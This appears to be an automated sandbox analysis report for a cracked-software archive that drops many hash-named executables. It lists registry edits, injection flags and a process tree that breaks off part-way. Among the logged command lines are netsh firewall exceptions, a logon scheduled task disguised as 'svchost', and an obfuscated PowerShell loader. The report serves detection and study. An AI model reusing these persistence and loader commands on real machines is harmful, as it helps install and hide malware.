Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "4"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "48"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\SniffedFolderType = "Generic"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1092616193"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupView = "0"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "6"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1226833921"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1226833921"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Mode = "4"	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:PID = "0"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202020202020202	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0000000001000000ffffffff	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents"	chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6828	schtasks.exe
6400	schtasks.exe
2080	schtasks.exe
4284	schtasks.exe
1952	schtasks.exe
5972	schtasks.exe
5880	schtasks.exe
692	schtasks.exe
2112	schtasks.exe
4272	schtasks.exe
5528	schtasks.exe
6548	schtasks.exe
2500	schtasks.exe
6052	schtasks.exe
5288	schtasks.exe
5720	schtasks.exe
6852	schtasks.exe
5072	schtasks.exe
5340	schtasks.exe
4160	schtasks.exe
3516	schtasks.exe
3284	schtasks.exe
2152	schtasks.exe
5972	schtasks.exe
2836	schtasks.exe
6612	schtasks.exe
3232	schtasks.exe
4428	schtasks.exe
5268	schtasks.exe
6544	schtasks.exe
624	schtasks.exe
376	schtasks.exe
5508	schtasks.exe
5496	schtasks.exe
1900	schtasks.exe
4224	schtasks.exe
5708	schtasks.exe
6112	schtasks.exe
6460	schtasks.exe
372	schtasks.exe
5820	schtasks.exe
7152	schtasks.exe
5112	schtasks.exe
1548	schtasks.exe
4920	schtasks.exe
1616	schtasks.exe
4480	schtasks.exe
5784	schtasks.exe
5648	schtasks.exe
5416	schtasks.exe
7016	schtasks.exe
6332	schtasks.exe
6228	schtasks.exe
4224	schtasks.exe
4336	schtasks.exe
5428	schtasks.exe
6752	schtasks.exe
5968	schtasks.exe
2932	schtasks.exe
1688	schtasks.exe
408	schtasks.exe
5344	schtasks.exe
6420	schtasks.exe
6104	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4048	chrome.exe
4048	chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4112	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe
Token: SeShutdownPrivilege	4048	chrome.exe
Token: SeCreatePagefilePrivilege	4048	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe
4048	chrome.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4788	chrome.exe
4112	chrome.exe
4112	chrome.exe
4112	chrome.exe
4112	chrome.exe
4112	chrome.exe
4112	chrome.exe
4112	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4048 wrote to memory of 3536	4048	chrome.exe	103
PID 4048 wrote to memory of 3536	4048	chrome.exe	103
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1152	4048	chrome.exe	104
PID 4048 wrote to memory of 1144	4048	chrome.exe	105
PID 4048 wrote to memory of 1144	4048	chrome.exe	105
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106
PID 4048 wrote to memory of 3668	4048	chrome.exe	106

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\クラック.zip
1⤵
PID:4252

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4048
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffe7d19cc40,0x7ffe7d19cc4c,0x7ffe7d19cc58
  2⤵
  PID:3536
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1872,i,12857669409581254983,11669578285858661392,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=1876 /prefetch:2
  2⤵
  PID:1152
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2124,i,12857669409581254983,11669578285858661392,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2176 /prefetch:3
  2⤵
  PID:1144
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2264,i,12857669409581254983,11669578285858661392,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2440 /prefetch:8
  2⤵
  PID:3668
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3176,i,12857669409581254983,11669578285858661392,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3196 /prefetch:1
  2⤵
  PID:228
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3084,i,12857669409581254983,11669578285858661392,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3444 /prefetch:1
  2⤵
  PID:3420
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4612,i,12857669409581254983,11669578285858661392,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4648 /prefetch:1
  2⤵
  PID:1368
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4072,i,12857669409581254983,11669578285858661392,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3180 /prefetch:8
  2⤵
  PID:2372
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4620,i,12857669409581254983,11669578285858661392,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4924 /prefetch:8
  2⤵
  PID:1688
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=4848,i,12857669409581254983,11669578285858661392,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4520 /prefetch:1
  2⤵
  PID:4500
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4876,i,12857669409581254983,11669578285858661392,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3552 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:4788
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3580,i,12857669409581254983,11669578285858661392,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=5164 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:4112
- - C:\Program Files (x86)\クラック.exe
    "C:\Program Files (x86)\クラック.exe"
    3⤵
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    PID:2708
  - - C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
      "C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5056
  - - C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe
      "C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe"
      4⤵
      Executes dropped EXE
      PID:2560
  - - C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe
      "C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2464
  - - C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
      "C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe"
      4⤵
      PID:3452
    - - C:\Users\Admin\AppData\Local\Temp\server.exe
        
        "C:\Users\Admin\AppData\Local\Temp\server.exe"
        5⤵
        
        PID:4596
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        
        PID:5604
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Exsample.exe
        6⤵
        Kills process with taskkill
        
        PID:5680
  - - C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
      "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe"
      4⤵
      PID:2888
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:5372
  - - C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe
      "C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe"
      4⤵
      PID:3580
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mpk2xclt\mpk2xclt.cmdline"
        5⤵
        
        PID:4284
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES272D.tmp" "c:\Windows\System32\CSC3F9C3D366F86498EAC126715A5B29C41.TMP"
        6⤵
        
        PID:5496
  - - C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
      "C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe"
      4⤵
      PID:4916
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
        
        "Powershell.exe" -windowstyle minimized "$Teratism249 = Get-Content 'C:\Users\Admin\AppData\Local\Temp\celleslim\farve\pitiableness\Guldtand.Spi168' ; $Neglefilen=$Teratism249.SubString(69482,3);.$Neglefilen($Teratism249) "
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4044
  - - C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe
      "C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe"
      4⤵
      PID:3276
    - - C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe
        
        "C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe"
        5⤵
        
        PID:5172
  - - C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
      "C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe"
      4⤵
      PID:1728
  - - C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
      "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
      4⤵
      PID:2984
    - - C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
        
        "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
        5⤵
        
        PID:5916
  - - C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
      "C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe"
      4⤵
      PID:2540
    - - C:\Windows\winhlp32.exe
        
        winhlp32.exe -x
        5⤵
        
        PID:2768
    - - C:\Windows\winhlp32.exe
        
        winhlp32.exe -x
        5⤵
        
        PID:1472
  - - C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
      "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe"
      4⤵
      PID:1692
  - - C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe
      "C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe"
      4⤵
      PID:2240
  - - C:\Program Files (x86)\BTZ.exe
      "C:\Program Files (x86)\BTZ.exe"
      4⤵
      PID:2880
  - - C:\Program Files (x86)\Cat.exe
      "C:\Program Files (x86)\Cat.exe"
      4⤵
      PID:3980
  - - C:\Program Files (x86)\Client.exe
      "C:\Program Files (x86)\Client.exe"
      4⤵
      PID:4704
    - - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" & exit
        5⤵
        
        PID:6832
      - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3284
    - - C:\Windows\SYSTEM32\CMD.exe
        
